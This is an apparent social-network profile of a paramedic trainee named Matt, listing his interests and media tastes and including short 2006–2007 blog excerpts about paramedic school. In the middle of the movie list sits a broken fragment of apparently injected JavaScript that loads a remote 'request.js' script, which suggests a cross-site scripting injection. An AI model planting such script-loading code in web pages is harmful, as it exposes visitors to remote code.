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About Me

Im Matt...I'm a Paramedic, a person who helps others. Im kind, caring, stubborn, hard-working, persistant with attention to detail, optimistic, hard-playing, considerate, always-trying-to-help. Im a mentor, a brother, a friend, a teacher, a listener and a confidant. Im a fast-learner and rarely do I ever make the same mistake twice. I always look to make things better and always look how to learn to make it better. I go out of my way, but stay out of my way. Im told Im a good man with my head on straight and I try to look at the big picture as well as the small show. I am me... Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

I like to read horror, sci-fi, fantasy and history books; weightlift; swim; hike; bike; canoe; listen to metal, jazz, blues, rock, old-school R&B, funk, fusion and flamenco; drive; explore and visit new places; hang out with friends; help people whenever I can; learn new things in my career field; write; sleep; lay around; go out with friends to new resturants and attractions.

I'd like to meet:

People who are in or interested in the pre-hospital medical profession, firefighters, people who are intrested in music and people who are intrested in helping people.

Music:

Mostly I like the various kinds of metal, but I listen to jazz, alt., blues, country, flamenco & various ethnic & folk hispanic, old school R&B, some rap, and classical music at times...particularly music soundtracks

Movies:

I watch basically anything save for really corny B-movies or really too-sappy romances but my favs lie within the Godfather triology, the Star Wars movies, Saving Private Ryan, Enemy at the Gates, We Were Soilders, The Last Samuri, Dogma, Jay and Silent Bob's Strike Back, Ocean's Eleven and Twelve, both Blue Brothers movie, Batman Begins, Batman(the first one), Taxi, Heat, Insomnia, What Dreams May Come, Good Morning Vietnam, Tears of the Sun, Caddyshack, Animal House, The Client, The Shining, The Green Mile, Kill Bill Vol. 1 & 2, the LOTR trilogy, King Kong, The Devil's Rejects, and way too many other movies to list. To add to this: anything by Kevin Smith, Steven Spielberg, Martin Scorcese, Quetin Tarintinn, Micheal Mann and comedy's from Dave Chappelle, Margaret Cho and George Carlin are always great.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("...mov.r{}");}..

Television:

I watch the News, Cops, AMW, Rescue Me(whenever I can get to the TV for this that is), various History Channel and TLC stuff on alot of different things. Recently I've been enjoying Man Vs. Wild, Myth Busters, the Deadliest Catch and some of TLC's medical programs.

Books:

I like books ranging over history, military ficition, fanatasy, sci-fi, horror and mysteries/suspense books. Typically I like authors like Stephen King, Tom Clancy, John Grisham, Timothy Zahn...stuff like that.

Heroes:

My heros include my grandmother, my father, my mother, Deputy Chief Jose Santiago, Battalion Chief Steve Chikerotis, "Commish" Orozco, my grandfather(my dad's dad), Joshua Chamberlain, a few others..

My Blog

The Time Has Come, Came and Went...and now....

Well the time for the state test came today.  I took it at COD (College of Dupage) at 8:54am with my other classmates. 150 questions for the chance to truely call myself a paramedic.  And......
Posted by I am a Paramedic! on Wed, 19 Sep 2007 02:46:00 PST

Finished

Well everyone, its finished. Paramedic School for Matthew Goss is done and gone.  My last ride was yesterday at Ambulance 56 and it was a quiet, more subdued end to what has been my craziest, bus...
Posted by I am a Paramedic! on Thu, 23 Aug 2007 04:40:00 PST

The End is slowly approaching

Well the end is slowly approaching for paramedic school.  Its all pretty much over as it is.  As of yesterday I have essientially finished the Malcolm X Paramedic Program.  Its been one...
Posted by I am a Paramedic! on Sat, 18 Aug 2007 02:00:00 PST

I saved a life

Yep, as the title says it...I did.  I saved someone's life last night. About 8:30ish last night, Ambulance 49 (where I was riding on), was dispatched to a residence on one of the South Side's bus...
Posted by I am a Paramedic! on Wed, 08 Aug 2007 09:06:00 PST

The Paramedic Year thus far...

Well since I haven't posted in a while...a long while...I figure I'll post something about everything that's happened. For one, me and Ceal have been dated for a year + now.  Its been great. ...
Posted by I am a Paramedic! on Thu, 02 Aug 2007 11:50:00 PST

The New Year Thus Far

Well for this blog just outlining this year thus far. So far school has gone well and we've finished with our cardiac session that has essientially taken up a month of time.  Its certaintly been ...
Posted by I am a Paramedic! on Sun, 21 Jan 2007 08:54:00 PST

About time

Saddam is dead.  hanged at 9:05pm in Chicago time, like 6:05am there.  About time.  Good ridenence you sick fuck
Posted by I am a Paramedic! on Sat, 30 Dec 2006 07:35:00 PST

Its been a while...

Its been a while hasn't it?  Man how times flies when your busy...and having fun! To update my life, the first thing I should type is that I met the most beautiful, caring, funny and just all-aro...
Posted by I am a Paramedic! on Fri, 29 Dec 2006 12:54:00 PST

HOLY F**KING S*IT!

HOLY FUCKING SHIT! Im fucking starting Paramedic School in 6 days!  HOLY SHIT!  This is fucking crazy.  At first it looked all far away and now its so fucking close!  This is fucki...
Posted by I am a Paramedic! on Sat, 19 Aug 2006 12:25:00 PST

As August Approaches

Well... Victory achieved with paramedic school...now I've figured out how to pay for it - all $2800 of it - over the next year.  It'll be one helluva long year starting in August.  It all in...
Posted by I am a Paramedic! on Wed, 19 Jul 2006 06:22:00 PST